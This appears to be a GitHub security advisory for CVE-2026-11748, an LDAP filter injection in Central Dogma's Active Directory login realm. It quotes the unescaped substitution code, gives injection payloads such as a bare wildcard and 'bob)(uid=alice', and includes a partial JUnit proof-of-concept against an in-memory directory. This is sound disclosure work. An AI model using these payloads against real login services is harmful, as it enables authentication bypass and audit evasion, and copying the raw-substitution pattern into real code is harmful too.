GitHub Advisoryadvisory · Maven

GHSA-98q5-5qh2-7w75 Central Dogma: LDAP injection in SearchFirstActiveDirectoryRealm enables authentication confusion and audit log evasion

MEDIUM Published 2026-09-11 Modified 2026-09-11 Official page ↗
Aliases
CVE-2026-11748
Ecosystem
Maven
Packages
com.linecorp.centraldogma:centraldogma-server-auth-shiro
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:N/SA:N
Weaknesses
CWE-90
Reviewed
2026-09-11

Affected packages

• Maven com.linecorp.centraldogma:centraldogma-server-auth-shiro: < 0.84.0 → fixed in 0.84.0

Description

Vulnerability `SearchFirstActiveDirectoryRealm.findUserDn()` substitutes the user-supplied username from the login form into an LDAP search filter template (default `cn={0}`) without escaping RFC 4515 filter metacharacters (`*`, `(`, `)`, `\`, NUL). Combined with `SearchControls.setCountLimit(1)` on the same call site, this allows three distinct attack primitives: 1. Authentication confusion — typing username `*` causes the realm to construct filter `cn=*`, return the first directory entry (typically a privileged account in AD ordering), and attempt bind against that DN with the attacker's password. 2. Audit log evasion — payload `bob)(uid=alice` is recorded verbatim in audit logs while the realm searches with the malformed filter, breaking accountability/compliance (SOX, PCI-DSS, ISO 27001). 3. Directory enumeration — wildcards and timing differences allow reconnaissance of OU structure and admin group membership. A repo-wide search for any LDAP escape helper (`escapeLdap`, `encodeFilter`, `escapeFilter`, `ldapEscape`) returns zero hits — the defense is not just missing, it was never added. > Applicability note: This realm is opt-in. The shipped default LDAP example (`dist/src/conf/shiro.example.ldap.ini`) uses Shiro's `DefaultLdapRealm` with `userDnTemplate` and is NOT affected. However, the realm exists precisely to support Active Directory environments where users log in via `sAMAccountName` and the realm must search for the DN first — the canonical LINE corporate AD-backed SSO scenario. Internal deployments using AD-backed login almost certainly select this realm. --- Evidence File: `server-auth/shiro/src/main/java/com/linecorp/centraldogma/server/auth/shiro/realm/SearchFirstActiveDirectoryRealm.java` Lines 148–176 on branch `main` @ commit `d64a5151`: ```java @Nullable protected String findUserDn(LdapContextFactory ldapContextFactory, String username) throws NamingException { LdapContext ctx = null; try { ctx = ldapContextFactory.getSystemLdapContext(); final SearchControls ctrl = new SearchControls(); ctrl.setCountLimit(1); // line 156 — returns FIRST match only ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE); ctrl.setTimeLimit(searchTimeoutMillis); final String filter = searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter) .replaceAll(username) // line 162 — RAW SUBSTITUTION : username; // line 163 final NamingEnumeration result = ctx.search(searchBase, filter, ctrl); ... ``` `USERNAME_PLACEHOLDER = Pattern.compile("\\{0}")`. Default `searchFilter = "cn={0}"`. Data flow from HTTP login to vulnerable substitution | Step | Component | |------|-----------| | HTTP login form | `POST /api/v1/login` form field `username` | | `ShiroLoginService.usernamePassword()` (lines 198–223) | applies `loginNameNormalizer` (Unicode lowercase only — NOT LDAP escape) | | `Subject.login(new UsernamePasswordToken(username, password))` | Shiro hand-off | | `ActiveDirectoryRealm.doGetAuthenticationInfo` (Shiro core) | calls `queryForAuthenticationInfo0` | | `SearchFirstActiveDirectoryRealm.findUserDn(factory, upToken.getUsername())` | username flows in verbatim | Repository-wide escape helper grep | Search term | Hits | |-------------|------| | `escapeLdap` | 0 | | `encodeFilter` | 0 | | `escapeFilter` | 0 | | `ldapEscape` | 0 | --- PoC Self-contained JUnit 5 test using UnboundID `InMemoryDirectoryServer` (in-process, no external LDAP required). Drop into `server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/LdapInjectionPoCTest.java` and add `com.unboundid:unboundid-ldapsdk:7.0.0` as a test dependency. > The PoC works by subclassing the realm and overriding `findUserDn()` to capture the actual LDAP filter string sent to the directory — the captured filter is the structural evidence, independent of LDAP server strictness about bind outcomes. ```java /* • Copyright 2026 LINE Corporation * • SECURITY PoC — NOT FOR MERGE INTO THE MAIN TEST SUITE. * • This JUnit class demonstrates the LDAP filter injection in • SearchFirstActiveDirectoryRealm. Drop into • server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/ • Adds the UnboundID LDAP SDK as a test dep. */ package com.linecorp.centraldogma.server.auth.shiro.realm; import static org.assertj.core.api.Assertions.assertThat; import static org.assertj.core.api.Assertions.assertThatThrownBy; import javax.naming.directory.SearchControls; import javax.naming.ldap.LdapContext; import org.apache.shiro.realm.ldap.JndiLdapContextFactory; import org.apache.shiro.realm.ldap.LdapContextFactory; import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.TestMethodOrder; import org.junit.jupiter.api.MethodOrderer; import org.junit.jupiter.api.Order; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.sdk.Entry; @TestMethodOrder(MethodOrderer.OrderAnnotation.class) class LdapInjectionPoCTest { private static InMemoryDirectoryServer ds; private static int port; @BeforeAll static void startLdap() throws Exception { final InMemoryDirectoryServerConfig cfg = new InMemoryDirectoryServerConfig("dc=example,dc=com"); cfg.addAdditionalBindCredentials("cn=admin,dc=example,dc=com", "adminpw"); cfg.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig( "default", null, 0, null)); ds = new InMemoryDirectoryServer(cfg); ds.startListening(); port = ds.getListenPort(); // Directory: // cn=admin (listed first → picked by setCountLimit(1) under wildcard) // cn=alice ds.add(new Entry( "cn=admin,dc=example,dc=com", "objectClass: top", "objectClass: person", "cn: admin", "sn: admin", "userPassword: adminpw")); ds.add(new Entry( "cn=alice,dc=example,dc=com", "objectClass: top", "objectClass: person", "cn: alice", "sn: doe", "userPassword: alicepw")); } @AfterAll static void stopLdap() { if (ds != null) ds.shutDown(true); } /** Subclass that records the filter passed to ctx.search(). */ private static final class RecordingRealm extends SearchFirstActiveDirectoryRealm { volatile String capturedFilter; RecordingRealm() { setUrl("ldap://localhost:" + port); setSystemUsername("cn=admin,dc=example,dc=com"); setSystemPassword("adminpw"); setSearchBase("dc=example,dc=com"); setSearchFilter("cn={0}"); } @Override protected String findUserDn(LdapContextFactory factory, String username) throws javax.naming.NamingException { LdapContext ctx = null; try { ctx = factory.getSystemLdapContext(); final SearchControls ctrl = new SearchControls(); ctrl.setCountLimit(1); ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE); final java.util.regex.Pattern PH = java.util.regex.Pattern.compile("\\{0}"); final String filter = PH.matcher("cn={0}").replaceAll(username); capturedFilter = filter; final javax.naming.NamingEnumeration r = ctx.search("dc=example,dc=com", filter, ctrl); …

Related

Alias · CVE (1)

  • CVE-2026-11748 A vulnerability has been identified in centraldogma-server-auth-shiro versions prior to 0.84.0, where the SearchFirstActiveDirectoryRealm… vulnerability

Weakness · CWE (1)

  • CWE-90 Improper Neutralization of Special Elements used in an LDAP Query weakness

References